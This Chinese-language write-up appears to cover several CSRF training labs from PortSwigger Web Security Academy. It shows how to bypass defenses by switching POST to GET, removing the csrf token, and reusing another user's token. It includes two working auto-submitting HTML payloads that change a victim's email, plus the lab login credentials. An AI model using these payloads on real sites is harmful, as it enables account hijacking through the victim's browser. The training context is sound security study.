实验二:修改提交方式(POST->GET)
此实验室的电子邮件更改功能容易受到 CSRF 的攻击。它试图阻止 CSRF 攻击,但仅对某些类型的请求应用防御。
要解决该实验,请使用漏洞利用服务器托管一个 HTML 页面,该页面使用 CSRF 攻击来更改查看者的电子邮件地址。
您可以使用以下凭据登录自己的帐户:wiener:peter
第一步:开启burp suite代理拦截,设置Email并提交
第二步:修改POST提交为GET提交
第三步:删掉GET提交url后面的csrf字段
第四步:构造CSRFpayload
payload如下:
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://0a2400b9042487338172c550001900b6.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="187722854@qq.com" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>
第五步:提交生成的payload,修改设置的Email,实验成功
实验三:测试CSRF字段是否必须要
第一步:同上,提交绑定Email请求,开启burp suite代理拦截
第二步:删除报文的csrf字段
第三步:生成csrfpayload
第四步:提交修改的payload,实验成功
实验四:使用其他用户的csrf令牌,该实验证明csrf的token和用户没有联系
第一步:使用wiener:peter提交设置Email请求,并抓包拦截
&csrf=gL9PjNtfW0nxm4vlZ8X6QKXeczZzPRkB
第二步:复制该csrf令牌,修改carlos:montoya用户登陆,提交设置Email请求,抓包拦截
第三步:将第一个csrf令牌替换第二个报文的csrf令牌
&csrf=PXIMih38mFm3ZyMhZKpAcFqpgNDtlrXH
第四步:生成payload提交,实验成功
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://0acf009e04735a5a86cb5df400950061.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="283920639@qq.com" /> <input type="hidden" name="csrf" value="gL9PjNtfW0nxm4vlZ8X6QKXeczZzPRkB" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>